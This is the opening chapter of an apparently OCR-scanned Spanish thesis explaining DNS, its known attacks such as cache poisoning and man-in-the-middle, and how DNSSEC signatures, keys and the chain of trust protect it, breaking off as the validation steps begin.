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CAPITULO 1

GENERALIDADES

1.1. INTRODUCCION

En la actualidad, donde el desarrollo tecnoldgico crece a ritmo exponencial, los
procesos de negocio de las organizaciones, cada vez mas cuentan con una alta
dependencia de las tecnologias de la informacion y de las comunicaciones, sin
embargo, al mismo tiempo, estas tecnologias exponen a la informacién de las
organizaciones a nuevos riesgos de seguridad.

Por otro lado, la informacion como otros activos importantes del negocio, tiene
gran valor para la organizacion y requiere de una proteccién adecuada.

La seguridad de la informacion es el conjunto de politicas, procedimientos,
organizacién, acciones y demas actividades, orientadas a proteger la informacién
de un amplio rango de amenazas con la finalidad de asegurar la continuidad del
negocio, minimizar los dafios a la organizacion y maximizar el retorno de las
inversiones y las oportunidades de negocio

La seguridad de la informacion pretende proteger a la informacién de riesgos que
atenten contra su:

Confidencialidad: la informacibn no se pone a disposicion ni se revela a
individuos, entidades o procesos no autorizados.

Integridad: mantenimiento de la exactitud y completitud de la informacién y sus
métodos de proceso.

Disponibilidad: acceso y utilizacion de la informacion y los sistemas de
tratamiento de la misma por parte de los individuos, entidades o procesos
autorizados cuando lo requieran.



Autenticacion: garantizar que los extremos de la comunicacion sean los reales y
no se hayan suplantado. Que las partes implicadas en la comunicacion puedan
demostrar “que son Quiénes dicen ser”.

Los Sistemas de Informacién estan expuestos a un elevado nimero de Amenazas
que, aprovechando las Vulnerabilidades existentes, pueden someter a la
Informacién Sensible a diversas formas de fraude, espionaje, sabotaje o
vandalismo. Entendiéndose por:

Amenazas: causa potencial de un incidente no deseado, el cual puede causar
dafio a un sistema o a la organizacion.

Vulnerabilidades: debilidad de un activo o conjunto de activos que puede ser
explotada por una Amenaza.

Riesgo: posibilidad de que una Amenaza concreta pueda explotar una
Vulnerabilidad para causar una pérdida o dafio en un activo de informacion.
Combinacién de la probabilidad de un evento y sus consecuencias. [1]

1.2. DNS

El Sistema de Nombres de Dominio (DNS, Domain Name System), es un sistema
jerarquico descentralizado y distribuido, fundamental dentro de la infraestructura
de Internet, crucial e indispensable para todos los servicios que se ejecutan [2],[3].
Resuelve Nombres de Dominio en Direcciones IP equivalentes, que identifican las
ubicaciones de red de servidores y otros dispositivos en Internet. Cuando un
usuario escribe un Nombre de Dominio en una aplicacién, los servidores de
Nombres de Dominio podran traducirlo a otra informacién asociada con el mismo,
como una Direcciébn IP o un alias [4]; por ejemplo el servidor DNS podra
transformar el Nombre de Dominio www.facebook.com en la Direccion IP
31.13.73.36 para contribuir y hacer posible el proceso de conectividad hacia ese
sitio web, puede entenderse a grandes rasgos como un conjunto de Bases de
Datos distribuidas en servidores a lo largo de todo el mundo que indican cual es la
direccion IP que esta asociada a cada Nombre de Dominio.



1.2.1. Componentes de DNS

El Sistema de Nombre de Dominio, tiene tres componentes principales [5], [7]

« El espacio de Nombres de Dominio: el espacio de nombres se organiza en
una estructura de arbol, cada nodo e hijo del arbol del espacio de nombres del
dominio nombra a un conjunto de informacion, y solicita operaciones para
extraer tipos de informacion especificos de un conjunto en particular. Tal como
se muestra en la Figura 1.1 por las autoras, cada nivel del arbol representa un
nivel jerarquico. En el nivel mas alto esta la raiz, seguido de los dominios de
nivel superior - TLD (Top Level Domain), después los dominios de segundo
nivel — SLD (Second Level Domain) y finalmente otros niveles; todos estan
separados por un punto. Los TLD se dividen en dos tipos basicos:

e Dominios de nivel superior genéricos — gTLD (Generic Top Levels
Domains): .com, .edu, .net, .org, .mil.

e Dominios de nivel superior de cédigos de paises — ccTLD, (Country
Code Top Levels Domains) — que se identifican con una secuencia de dos
caracteres segun la ISO 3166-1: .uy, .us, .ar, .uk. [6]

| |

=
M

Figura 1.1 Jerarquia de los espacios de Nombre de Dominio

e Servidores de Nombres: son servidores encargados de mantener y
proporcionar informacién del espacio de nombres o dominios. Por una parte,
existen servidores autoritativos que almacenan informacion completa para
uno o varios conjuntos del espacio de nombres (dominios) y de las cuales es
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responsable. Por otro lado, hay servidores caché que almacena conjuntos de
registros de distintas zonas/dominios que obtiene consultando a los
correspondientes servidores autoritativos de las mismas.

e Resolvers: son servidores caché o programas cliente los cuales se
encargan de generar las consultas necesarias y obtener la informacion
solicitada para ofrecerla al usuario que la solicita.

1.2.2. Archivos de Zona y Registros de Recursos

Los Archivos de zona son archivos de texto que contienen informacion sobre un
espacio de nombres particular. Cada archivo de zona contiene directivas y
Registros de Recursos. Las directivas le dicen al servidor de nombres que realice
tareas o apliqgue configuraciones especiales a la zona. Los Registros de
Recursos definen los parametros de la zona y asignan identidades a hosts
individuales.

Los Archivos de zona siguen un estandar descrito en el RFC 1035 [7] Pueden
contener tres tipos de entradas:

e Comentarios: todos los comentarios comienzan en el caracter “;” continuando
hasta el final de la linea.

e Directivas: todas las directivas comienzan con el caracter “$” y se utilizan
para controlar el procesamiento de los archivos de zona.

e Registros de Recursos (RR): los Registros de Recursos se utilizan para
definir las caracteristicas y propiedades que figuran dentro del dominio. Los RR
estan contenidos en una sola linea, con la excepcion de aquellas entradas
entre paréntesis, las cuales pueden definirse en varias lineas.

Los Registros de Recursos se muestran en la Tabla 1.1:



A Asigna el nombre de dominio a una direccién IP de 32 bits (IPv4). Si este
tiene varias direcciones IP habra un registro diferente por cada una.
AAAA Asigna el nombre de dominio a una direccion IP de 128 bits (IPv6). Si
este tiene varias direcciones IP habra un registro diferente por cada una.
NS El name server autoritativo de este RR.
MD El email de destino. (En desuso)
MF El email de envio. (En desuso)
Asigna el nombre de dominio a un alias 0 a uno canénico. Debe de
CNAME L .
corresponderse con un nombre valido del espacio de nombres.
SOA (Start Of Authority) Define la mejor fuente de informacion de dicho
dominio.
PTR El puntero que asocia el nombre de dominio alaIP. A menudo se utiliza
para busquedas inversas.
HINEO Informacién HW o SW sobre el host. Especifica el tipo de CPU vy el
sistema operativo para el nombre de dominio consultado.
ISDN (RDSI) Asigna el nombre de dominio a un niumero de teléfono RDSI.
MIX Proporciona enrutamiento del mensaje al host intercambiador de
correo.
T Permite asociar archivos de texto descriptivos a dicho nombre de
dominio.
OPT Seccidon de datos adicionales de una solicitud o respuesta DNS.

Tabla 1.1 Registro RR DNS

1.2.3. Tipos de Consultas DNS

Las consultas DNS se pueden clasificar en las siguientes categorias [5]:

e Consultas recursivas: cuando el servidor hace todo el trabajo necesario para
devolver la respuesta completa a la consulta. La respuesta a una consulta
recursiva puede hacer que el servidor de nombres envie multiples consultas a
una serie de servidores de nombres autoritativos en la jerarquia DNS, a fin de
resolver completamente el nombre solicitado. Los servidores de nombres no
estan obligados a soportar consultas recursivas.



e Consultas lterativas o no recursivas: si el servidor de nombres tiene la
respuesta o si se encuentra disponible en su cache la devolvera. Si el servidor
de nombres no tiene la respuesta devolvera toda la informacion que posea, en
general una referencia al siguiente nivel de delegacion, pero no va a hacer
solicitudes adicionales a otros sistemas de servidores de nombre. Todos los
servidores de nombres deben ser compatibles con las consultas iterativas.

1.2.4. Proceso de Consulta Recursiva DNS

En un proceso de consulta normal DNS se realiza el siguiente proceso de
consultas y respuestas, como se observa en la Figura 1.2 por las autoras:

DNS AUTORITARIO
DOMINIO ROOT

com NS a.gtld-servers.net.com
3 a.gtld-servers.net.com AAAA 2001:503:3f::beca:2
www.bancodk.com ?

1 www.bancodk.com ?

DNS AUTORITARIO
DOMINIO COM

Resolver

8 5
www.bancodk.com AAAA 2001:12:7000::cafe:6 bancodk.com NS dns1.bancodk.com

dns1.bancodk.com AAAA 2001:12:7000::cafe:2
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www.bancodk.com AAAA 2001:12:7000::cafe:6 6 www.bancodk.com ?

DNS AUTORITARIO
DOMINIO
BANCODK.COM

Figura 1.2 Proceso de consulta DNS

1. El Cliente (resolver) consulta al servidor cache recursivo sobre el dominio
www.bancodk.com

2. El servidor cache recursivo (cache DNS), recibe la consulta del cliente y al
no tener informacién sobre dicho dominio consulta al servidor raiz (servidor
autoritario del dominio root) por el dominio www.bancodk.com

3. El servidor raiz no tiene informacion sobre el dominio www.bancodk.com,
pero le entrega al servidor cache informacion sobre el servidor autoritario
del dominio .com

4. El servidor recursivo (cache DNS), consulta al servidor autoritario del
dominio .com, sobre el dominio www.bancodk.com


http://www.bancodk.com/
http://www.bancodk.com/
http://www.bancodk.com/
http://www.bancodk.com/

5. El servidor autoritario del dominio .com entrega al servidor cache
informacion sobre el servidor autoritario del domino bancodk.com

6. El servidor recursivo (cache DNS), consulta al servidor autoritario del
dominio bancodk.com, sobre el dominio www.bancodk.com

7. El servidor autoritario del dominio bancodk.com responde al servidor cache
sobre la consulta www.bancodk.com

8. El servidor cache responde a la consulta realizada por el cliente sobre el
dominio www.bancodk.com

1.2.5. Vulnerabilidades, Amenazas y Ataques de DNS

DNS es un sistema distribuido y como tal no es ajeno a los problemas de
seguridad, ya que presenta la vulnerabilidad de no proporcionar autenticacion
del origen, ni autenticacion e integridad de los datos de DNS. Debido a que
los datos manejados son de dominio publico y que su infraestructura inicial no
contemplaba ningun soporte de seguridad, es un sistema vulnerable y
accesible para multitud de ataques en la web, entre las principales amenazas a
la seguridad en DNS esta la corrupcion de datos, definida como todo tipo de
incidentes relacionados con la modificacion no autorizada de datos DNS. Estos
incidentes pueden suceder en cualquier momento, en cualquier parte de la cadena
de propagacion de DNS.

La clasificacion de las amenazas a la seguridad de un sistema DNS, es un medio
para permitir la seleccion de los recursos y estrategias adecuadas para mitigar las
mismas. En la Tabla 1.2 presenta un resumen de las amenazas mas conocidas
clasificadas segun a que componentes afectan en un flujo de datos normal en un
Sistema DNS. [8]

Etiqueta Area Amenaza
1 Transferencias Suplantacion de identidad del origen en la actualizacion
de Zonas de zonas mediante la técnica
de “IP Spoofing”
2 Servidor Ataque de amplificacion
Recursivo Caché
3 Envenenamiento de Cache usando “IP Spoofing”,
Consultas a . P , : e ;
R intercepcion de mensajes mediante la técnica “Man in
esolver ,
The Middle”.

Tabla 1.2 Clasificacion amenazas al Sistema DNS.
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En un entorno DNS se identifican varios puntos donde posibles ataques pueden
desarrollarse. Estos puntos o “vectores de atague” se situan tanto localmente en
el propio servidor DNS y red local, como en las comunicaciones entre servidores y
clientes, tal como se muestra en la Figura 1.3 adaptada de [8]:

DNS Maestro Archivos de zona

ENVENAMIENTO
MITM DNS CACHE

Figura 1.3 Ataques al DNS
Entre los principales Ataques al DNS se destacan los siguientes [6]:

Hombre en el medio (MITM, Man In The Middle): los DNS no son capaces de
verificar la autenticidad y la integridad de los datos que recibe de los name
server. Esto hace que el DNS se considere un sistema propicio para atagues de
MITM, los cuales, se caracterizan por la capacidad de un atacante para leer,
insertar y modificar a voluntad los mensajes intercambiados entre dos partes, sin
gue ninguna de ellas sea consciente de que el enlace de traspaso de informacion
ha sido violado.

Envenenamiento de cache: el envenenamiento de cache es cuando un atacante
logra que se guarde en cache ya sea en el equipo final o en el servidor recursivo
de la red un registro falso. La corrupcion de un servidor de nombres tiene como
objetivo generalmente la sustitucion de una direccion de Internet verdadera por
otra direccidn falsa.



Denegacion de servicio: el ataque de negacion de servicio, se refiere a un tipo
de ataque que hace que el servicio no esté operativo para los usuarios legitimos.
Estos ataques estan dirigidos a un servicio especifico como DNS o mas
ampliamente dirigido a toda una parte de la red Internet. Se basan en consumir
tantos recursos como se pueda del objetivo.

Denegacion de un nombre de dominio: existe una enorme discrepancia en
como autenticar la negacién de los nombres de dominio, es decir, en como
autenticar su no existencia y distinguirla de cuando un atacante elimina ese RR de
la respuesta. No se ha encontrado ningin RR cuya ausencia genere un fallo
inminente, sin embargo, en algunos casos, si que puede considerarse un
problema.

1.3. DNSSEC

El Sistema de nombres de dominio (DNS, Domain Name System) no proporciona
autenticacion del origen, ni autenticacion e integridad de los datos de DNS. Las
Extensiones de seguridad DNS (DNSSEC, Domain Name System Security
Extensions) abordan estas necesidades agregando firmas digitales a los datos
DNS para que se pueda verificar la integridad de cada respuesta DNS (el
mensaje no cambid durante el transito) y autenticidad (los datos provienen de la
fuente verdadera, no de un impostor). [9]

Las extensiones de seguridad DNS (DNSSEC, Domain Name System Security
Extensiones) proveen autenticacion del origen, integridad de los datos vy
autenticacion de negacidn de existencia de datos DNS. DNSSEC se basa en
una infraestructura de criptografia de clave publica (PKI, Public Key Infrastructure)
y en el uso de firmas digitales para establecer autenticidad de las fuentes y la
validez de los mensajes.

Para poder proveer los aspectos de seguridad anteriormente citados, DNSSEC
hace uso de nuevos Registros de Recursos y de una particular infraestructura de
clave publica, basada en la construccion de una “cadena de confianza”, necesaria
para la validacion de los datos en el proceso de consulta/respuesta DNS.



1.3.1 Firma Digital

En los sistemas asimétricos, la autenticacion e integridad de datos se garantiza
mediante el uso de la firma digital. Se obtiene el resumen del mensaje a enviar, lo
gue asegura la integridad de los datos. El proceso continda con la encriptacion del
resumen, por parte del emisor, para lo cual hace uso de la clave privada. El
mensaje en texto plano, asi como el resumen encriptado son enviados y ya en
manos del receptor, el mismo procede en primer lugar a desencriptar el resumen
haciendo uso de la clave publica del emisor, luego aplica el algoritmo de hash al
mensaje recibido, por lo que si los valores coinciden (resumen calculado y
resumen recibido), se asume que la autenticidad y la integridad estan
garantizadas. Algunos de los algoritmos de firma digital mas usados son: RSA-
MD5, RSA-SHA-1, RSA-SHA-256 y DSA con longitudes de claves de 1024 bits,
2048 bits y superiores. [8]

1.3.2 Registros de Recursos DNSSEC

DNSSEC dispone de los siguientes registros especificos para su funcionamiento

[5], [8]:

e RRSIG: contiene la firma para un conjunto de Registros de Recursos (RRset)
con un nombre particular, clase y tipo. El registro RRSIG se genera en el
proceso de firmado de una zona utilizando la clave privada y cuyo par (clave
publica) es almacenada en el registro DNSKEY. Estas firmas son utilizadas
por servidores de nombres recursivos, también conocidos como validadores de
resolucién, para verificar las respuestas recibidas.

e DNSKEY: registro de Recurso habilitado para almacenar claves publicas, que
posteriormente seran usadas por DNSSEC en procesos de autenticacion.

e NSEC: con la finalidad de proporcionar la negacion autenticada de registros
gue no existen, DNSSEC incorpora el registro NSEC, que viene en sus ultimas
versiones en NSEC3 y NSE3PARAM.

e DS: permite crear una cadena de confianza o de autoridad de una zona padre
firmada, hacia una zona hija firmada. DS esta relacionado con el Registro
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DNSKEY, ya que contiene un resumen (hash) de la clave (KSK) almacenada
en éste ultimo.

Ademas DNSSEC agrega dos Flags nuevos CD y AD en la cabecera del mensaje
de respuesta.

El bit AD solo tiene sentido en una respuesta DNSSEC, indica que toda la
informacion que se ha introducido en la respuesta ha sido autenticada por el name
server previamente. Es importante destacar que regularmente los Servidores de
Nombres Autoritativos, nunca envian respuestas con este bit activo, dado que
éstos no verifican las firmas que envian como respuestas. Lo que implica que el bit
AD solo es activado por aquellos servidores que han comprobado firmas, tales
como los Servidores Resolver.

root@debian9:/home/dalia# dig AAAA bancodk.com +dnssec

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA bancodk.com +dnssec

;+ global options: +cmd

;3 Got answer:

; HEALEL peode-m JUERY, status: NOERROR, id: 3997

;| flags: gr rd ra ad; PUERY: 1, ANSWER: 2, AUTHORITY: O, ADDITIONAL: 1

;+ OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
7+ QUESTION SECTION:

;bancodk. com. IN AAAA

i+ ANSWER SECTION:

bancodk. com. 230 IN AAAA 2001:12:7600: :cafe:32

bancodk. com. 230 IN RRSIG  AAAA 8 2 600 20180812011050 20180713001050 14643

bancodk.com. TtTSPrFy6LKFNCMk+MYZK3LEO094TNmHz)cBx31tLhLczWbd++ja9n9C umU7cV5wTd7W7ueelPB8/15EZ0M
JuG+5pvN5HOUsj+2kS1i2X1D8Th66 Aaurdo5cnSs75cfHaSbvnrPEwnD13N4VaStwoXP7xD1dOWZUr6k7IrP1 Ubo=

;+ Query time: 2 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
i+ WHEN: Thu Jul 12 21:02:41 -05 2018

i+ MSG SIZE rcvd: 239

Figura 1.4 Consulta DNSSEC validada

En la Figura 1.4 por las autoras, se observa que:

= El cliente consulta al servidor DNS cache 2001:12:7000::cafe:35.

= EI servidor DNS cache realiza el proceso de consulta y el proceso de
validacion.

» Entrega la respuesta validad al cliente (bit AD activo en la respuesta).
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Mientras que el bit CD lo activa el Cliente que realiza la consulta para indicar al
Servidor de Nombres que estd dispuesto a aceptar datos que no hayan sido
validados, por lo tanto el segundo simplemente devuelve una respuesta aun
cuando la validacién no haya sido exitosa.

1.3.3. Registros DNSSEC NSEC y NSEC3

La negacion de existencia es un mecanismo que informa a un resolver que cierto
nombre de dominio no existe, lo que se conoce como dominio inexistente
(NXDOMAIN). También se usa para indicar que un nombre de dominio existe,
pero no tiene el tipo de RR especifico que era preguntado, lo que se conoce como
respuesta NODATA [10]. Este mecanismo se basa en los registro NSEC y NSEC3.

NSEC, permite validar la estructura de una zona y los Registros de Recurso que
ésta contiene. NSEC permite verificar la no existencia de un nombre de host
debido a que cada nombre tiene su correspondiente Registro NSEC que apunta al
siguiente nombre de host valido en la zona, creando una cadena completa de
todos los registros de recursos de una zona completa [11].

Si bien se logré tener autenticidad de no existencia de dominio —NXDOMAIN y
NODATA, esta extension de seguridad introdujo un efecto secundario denominado
enumeracion de zona, que permite a un usuario externo a la administracion de la
zona, obtener todos los datos de un archivo de zona cuya transferencia AXFR,
estd limitada, degradando asi el nivel de confidencialidad. Anteriormente a la
introduccién de NSEC, la enumeracion no era sencilla y requeria fuerza bruta para
identificar los dominios de la zona [6].

Por esta razén, se introdujo NSEC3: construye una cadena de registros de
recursos de hash y no de texto plano, evitando la enumeracién de zona, con
NSEC3 cada nombre obtiene su resumen, incluido el nombre propietario, por lo
general se usa el algoritmo SHA-1, para generar el resumen. Para incrementar el
nivel de seguridad, la funcién de resumen se puede aplicar varias veces, tomando
como entrada el digesto anterior [8], [11].
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1.3.4. Zona Firmada

DNSSEC introduce el concepto de zonas firmadas. Una zona firmada incluye la
clave publica DNS (DNSKEY), la firma del registro de recursos (RRSIG), Siguiente
seguro (NSEC), y (opcionalmente) Registros de Delegacion (DS). Una zona que
no incluye estos registros de acuerdo a las reglas en esta seccidén es una zona sin
firmar [11].

1.3.5. Clave de Zona (ZSK) y Clave de Claves (KSK)

Las claves criptograficas usadas para el firmado de registros asociados a un
dominio pueden ser de dos tipos, clave de firma de zona (ZSK, Zone Signing Key)
o clave de firma de clave (KSK, Key Signing Key), donde la primera tiene por
funcién la de proteger los Registros de Recursos individuales de una Zona dada,
mientras que la KSK se encarga de proteger la ZSK. Operacionalmente se
almacenan en un registro DNSKEY y se distinguen mediante el bit llamado SEP,
presente en la porcibn RDATA del Registro de Recurso DNSKEY.

Algunas de las motivaciones para un uso separado de claves son: La KSK puede
configurarse con longitudes de clave mayores, lo que la convierte en una clave de
mayor fortaleza. Operacionalmente tiene poco impacto en consumo de recursos,
ya que solo se usa para el firmado de una pequefia porcién de datos de una zona
dada. Por otro lado, dado que la KSK sélo se utiliza para firmar un conjunto de
claves, ésta puede actualizarse con menos frecuencia que otros datos en la Zona
y ser almacenada en una localizacion diferente de la ZSK.

1.3.6. Algoritmos DNSSEC para el Firmado de Zonas

DNSSSEC utiliza los siguientes algoritmos para el firmado de una Zona, cada
algoritmo tiene un identificado numérico, como se muestra en la Tabla 1.3 tomada
de [13].
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Identificador Descripcion Algoritmo
3 DSA/SHA1 DSA
5 RSA/SHA-1 RSASHA1
6 DSA-NSEC3-SHA1 DSA-NSEC3-SHA1
7 RSASHA1-NSEC3-SHA1 RSASHA1-NSEC3-SHA1
8 RSA/SHA-256 RSASHA256
10 RSA/SHA-512 RSASHA512
12 GOST R 34.10-2001 ECC-GOST
13 ECDSA Cune P-256 with SHA-256 ECDSAP256SHA256
14 ECDSA Curvwe P-384 with SHA-384 ECDSAP384SHA384
15 Ed25519 ED25519
16 Ed448 ED448
253 private algorithm PRIVATEDNS
254 private algorithm OID PRIVATEOID

Tabla 1.3 Algoritmos Para Firmado DNSSEC

1.3.7. Cadena de Confianza

El proceso de construccion de una cadena de confianza es fundamental para la
implementacion de DNSSEC en una jerarquia DNS, ya que sin ésta caracteristica,
cada Servidor Recursivo configurado con DNSSEC, deberia tener un punto de
entrada seguro (SEP) por cada dominio seguro en Internet, lo que claramente
haria imposible un despliegue a escala global de tales extensiones de seguridad.

[8].

La cadena de confianza comienza con lo que se denomina un ancla de confianza
(trust anchor). Esta ancla de confianza es una clave publica que se obtuvo y
verificd por medios externos a DNS y de la cual se tiene certeza de su integridad y
autenticidad. El ancla de confianza por excelencia es la clave publica de la zona
raiz, la cual esta firmada desde Julio del 2010. Esta se puede obtener también por
medios externos a DNS aunque los servidores de nombre como BIND ya traen
configurada esta clave. A la zona cuya clave utilizamos como ancla de confianza
se denomina zona SEP (Secure Entry Point). Cualquier zona puede ser
considerada una zona SEP, siempre que se tenga una clave de confianza
configurada como tal en el servidor de nombre [6].

En caso de que la zona SEP no sea la zona raiz, se esta en presencia de una isla
de seguridad. Uno de los principios de DNSSec es lograr transferir la confianza ya
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depositada en el ancla de confianza hacia claves de zonas inferiores, para poder
también validar sus datos. El propésito de la cadena de confianza es la
transferencia de esta confianza de forma segura y confiable.

En DNSSEC existen dos procesos principales: firmar y verificar firmas. Estos
procesos, se realizan a través de mecanismos basados en criptografia de clave
publica. Aunque operativamente no es necesario mas que un par de claves
publica/privada, es muy comun utilizar al menos dos pares para facilitar las tareas
de renovacion de claves y de refirmado de zonas. Ademas, la “separacion de
claves” es una buena practica criptografica, para limitar el alcance de un posible
compromiso. De este modo, DNSSEC cuenta con dos pares de
claves publica/privada. Un par denominado Key Signing Key (KSK) para el
firmado de registros de clave DNSKEY y otro, denominado Zone Signing Key
(ZSK) para el firmado de registros (RRsets) [5].

e Firmado y Servicio de conjuntos de registros (RRsets). El firmado de
registros se realiza por conjuntos de registros (RRSet) con el mismo nombre de
dominio, clase y tipo. Por ejemplo, conjuntos de tipo A, tipo NS, tipos DNSKEY
o DS (especificos de DNSSEC). El registro RRSIG es el mas relevante, pues
almacena la firma digital y la informacién asociada (ID de la clave usada,
fechas de inicio y expiracién de la firma, etc) para cada grupo de registros o
RRset. La firma se realiza con la clave privada correspondiente del par de
claves publica/privada generada para el firmado de registros (ZSK) o de claves
(KSK).[5].

e Verificacion de firmas. Un resolver validador puede verificar las firmas
digitales contenidas en los registros de firma RRSIG haciendo uso de la clave
publica aportada en los registros DNSKEY. Igualmente, el registro DNSKEY
tiene su correspondiente RRSIG firmado [5].

Para la verificacion de las claves publicas en si, se parte del ancla de confianza,
clave publica de confianza del nodo mas alto en la jerarquia (que tiene instalada el
resolver) y que, 6ptimamente, seria la de un nodo raiz para un dominio
considerado “globalmente seguro”. La cadena de confianza se va construyendo,
verificando sucesivamente las claves publicas de nodos hijo, cuyos hash se

encuentran en los registros DS de los nodos padre, debidamente firmados [5].
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1.3.8. Recorrido por la cadena de confianza

En la Figura 1.5 adaptada de [5], se muestra un ejemplo del recorrido completo en
8 pasos de la cadena de confianza del dominio www.rip.net.

F o

Trusted Key . 8907 1. validador tiene la KSK publica del root
\ {root) .
DNSKEY (.) 5TQ3s :a‘hnﬂ ; ESK 2.K5K=Punto de entrada confiable
DMSEEY (.) lasES. (2983) ; EZSK J.KSK firma KEY RRset:
e :-;gt'.-' —— Z5K =e vuelve confiable
4.Z5K firma el hash de KSK hija (D5)
nat. Ds 7834 3 1labls.

KSK hija se vuelve confiable

RRSIG 1:3\5\1 . 2983
N net.

nat. DHSEEY (.) qid!:u..\t'.lli_u} : KSK B.KSK firma KEY RRSET
DNSKEY (.) 5TQ3a.. Eﬁlﬁiz] : ZS5K Z5K =& vuelve confiable

RRSIG DMSKEY (.) 7P34 net. cMas.
ripe.net. 05 4252 3 labls 6.Z5K firma el hash de KSK hija (D5)
RRSIG DE) net. 5612 KSK hija se vulve confiable
\ ripe.net.
L3
SLn i T e S 7.KSK firma KEY RRset ZSK

DHSKEY (..) sovP42 {1111} ; Z8K se vulve confiahle

B L R A T 8.Z5K firma todos los registros
www.ripe.net. A 193.0.0.202 Los registros se vuelven
RRSIG A (.} 1111 ripe.net. a3... confiables

Figura 1.5 Recorrido por la cadena de confianza

1. La cadena de confianza empieza desde el resolver validador que almacena la
clave publica KSK como ancla de confianza.

2. Luego pasa al servidor autoritario del dominio net., el cual firma sus registros
de recursos junto con el DS de su zona hija rip.net con la clave ZSK. Siendo
esta firma asegurada con su KSK.

3. De igual forma pasa al servidor autoritario del dominio rip.net., el cual firma
sus todos sus registros de recursos con la clave ZSK. Siendo esta firma
asegurada con su KSK.

1.3.9. Delegacion segura

El primer paso en el proceso de implementacién de DNSSEC, se inicia firmando
los archivos de zona, usando la clave privada del sistema de encriptacion

asimeétrico seleccionado. La clave publica correspondiente a la clave privada
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utilizada para firmar la zona, se publica usando el registro de recurso DNSKEY.
Una vez que una zona ha sido asegurada, ésta puede ahora agregarse a una
cadena de confianza existente o bien ser usada en un proceso de delegacién a un
subdominio. En ambos casos, para llevar a cabo el proceso de delegacién, se
utiliza el registro de recurso de Delegacion de Firma (RR DS). El Registro DS se
sitla en la Zona Padre de la zona que sera delegada de manera segura y valida la
siguiente clave en la cadena de confianza. El DS contiene un resumen de la clave
KSK definida en el registro DNSKEY del dominio hijo [8].

ZONA PADRE

COM DNSKEY RR-KSK
COM DNSKEY RR-Z5K

DS RR BANCODK.COM

ZONA HIJA

BANCODK.COM DNSKEY RR-KSK
BANCODK.COM DNSKEY RR-Z5K

Figura 1.6 Delegaciéon Segura dominio com a subdominio bancodk.com

Si el subdominio bancodk.com va a ser delegado de forma segura (unido a una
cadena de confianza), un Registro DS contiene el resumen del Registro DNSKEY
con el nombre de bancodk.com y el cual sera agregado o almacenado en la zona
del dominio com, como se muestra en la Figura 1.6 adaptada de [8]. Se debe
considerar, que una delegacion segura ocurre solo si la zona padre e hija han sido
firmadas, es decir, han sido aseguradas.

1.3.10. Funciones de DNSSEC

Las extensiones de seguridad del Sistema de nombres de dominio (DNS)
proporcionan autenticacion del origen, servicios de autenticacién e integridad de
los datos DNS, incluidos los mecanismos para la denegacién de existencia
autenticada de datos DNS. [14]
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e Autenticidad de origen: autenticar que los datos recibidos sélo pueden
proceder de la zona solicitada.

e Integridad: verificar la integridad de los datos, es decir, que los datos no han
sido modificados en el transcurso de la transaccion.

¢ No existencia: verificar, en el caso de una respuesta de dominio no existente
(NXDOMAIN), que, efectivamente el registro no existe en la zona solicitada y
no ha sido expresamente eliminado en la intercepcion de la transaccion.

DNSSEC no ha sido disefiado para proteger las operaciones como las
transferencias de zona y actualizaciones dinamicas. Estas siguen operando bajo
los estandares de seguridad ya establecidos, y son complementarios a DNSSEC.
Ademas de DNSSEC no provee de confidencialidad de la informacion

1.3.11. Proteccion proporcionada por DNSSEC

En la Figura 1.7 por las autoras, se observa que DNSSEC protege contra los
ataques de envenenamiento de caché y de suplantaciéon de identidad de un
dominio, que pueden redirigir a sitios web maliciosos, al proveer de un mecanismo
para la autenticacion del origen e integridad de los datos intercambiados a través
del protocolo DNS, mediante la firma digitales de los datos DNS de un dominio,
con el fin de proporcionar autenticacion e integridad de los datos DNS.

DNS Maestro Archivos de zona

Cache DNS

Resolver

DNS Esclavo

ENVENAMIENTO
MITM DNS CACHE

DNSSEC
Figura 1.7 Proteccion DNSSEC
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1.3.12 Componentes de DNSSEC

DNSSEC se implementa en los tres componentes principales de la infraestructura
DNS [9]:

e Servidor Caché: los Servidores de Nombres Caché cumplen dos roles
diferentes, por un lado, reciben consultas de los Clientes y eventualmente,
devuelven una respuesta, utilizando un mismo canal de comunicacion, de este
modo se puede considerar que cumple el rol de Servidor. Mientras que del otro
lado es el encargado de resolver las consultas recibidas, mediante el envio de
consultas a los Servidores de Nombres Autoritativos, comportandose como un
Cliente. En el RFC 4035 [38-pl7]. Un Servidor de Nombres Cache con
capacidades de DNSSEC, intentar& enviar sus consultas, indicando que tiene la
capacidad para tratar las respuestas DNSSEC que reciba, lo que significa que
puede interpretar los nuevos Registros de Recursos de DNSSEC.
Regularmente todos los Servidores de Nombres Caché validaran las respuestas
DNSSEC por si mismos, lo que implica que cuando se reciba una respuesta
con éstas caracteristicas, se comprobaran las firmas.

e Servidor de Nombres Autoritativo: un Servidor de Nombres Autoritativo con
soporte para DNSSEC, debe ser capaz de recibir e interpretar paquetes de
datos DNS, donde el bit DO se encuentra activo, lo que indica que el Cliente
gue realizo la consulta, esta dispuesto a recibir respuestas DNSSEC.

Por otro lado, el Servidor Autoritativo, debe ser capaz de generar firmas para
todos los datos sobre los que tiene autoridad y debe poder enviar los nuevos
Registros de Recursos que incorpora DNSSEC (DNSKEY, RRSIG, DS y NSEC
y/o NSEC3).Se debe considerar que un Servidor Autoritario, nunca enviara
como respuesta paquetes DNSSEC con el bit AD activo, ya que solo devuelve
como respuesta Registros acompafados de su firma correspondiente, es decir
gue no realiza ningun tipo de validacion.

¢ Cliente Resolver: un Cliente con soporte de validacion DNSSEC activara el bit
AD solo si considera que todos los Conjuntos de Registros de Recursos en las
secciones “Answer” y “Authority” de la respuesta, son auténticas, o bien si
considera que todos los Conjuntos de Registros de Recursos en la seccion
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“‘Answer” y cualquier Registro de Recurso de Respuesta Negativa en la seccion
“Authority” son auténticas.

1.3.13. Proceso DNSSEC de validacion de larespuesta

En la Figura 1.7 por las autoras, se observa el proceso realizado principalmente
por el Servidor DNS Cache Validador, para validar una respuesta. [9]

-
:;:: Servidor DNS
1 Raiz
?\?‘5\‘3 —~ e |troot-servers.net |

8. Envia DNSKEY com+ RRSIG DNSKEY
7. DNSKEY de com ?

13. www.comunicate.com AAAA 2001:5003:3f-beca:3

> Servidor Autoritario

&. Envia D5 communicate.com +RRSIG D&

5. D5 comunicate.com ?

Cliente

Servidor
Caché
Validador

,*”;N““

. Servidor
N + Autoritario
RSN tomunicate com

Figura 1.8 Proceso de validacion DNSSEC de la respuesta

A continuacion se muestra el proceso de validacion de la respuesta:

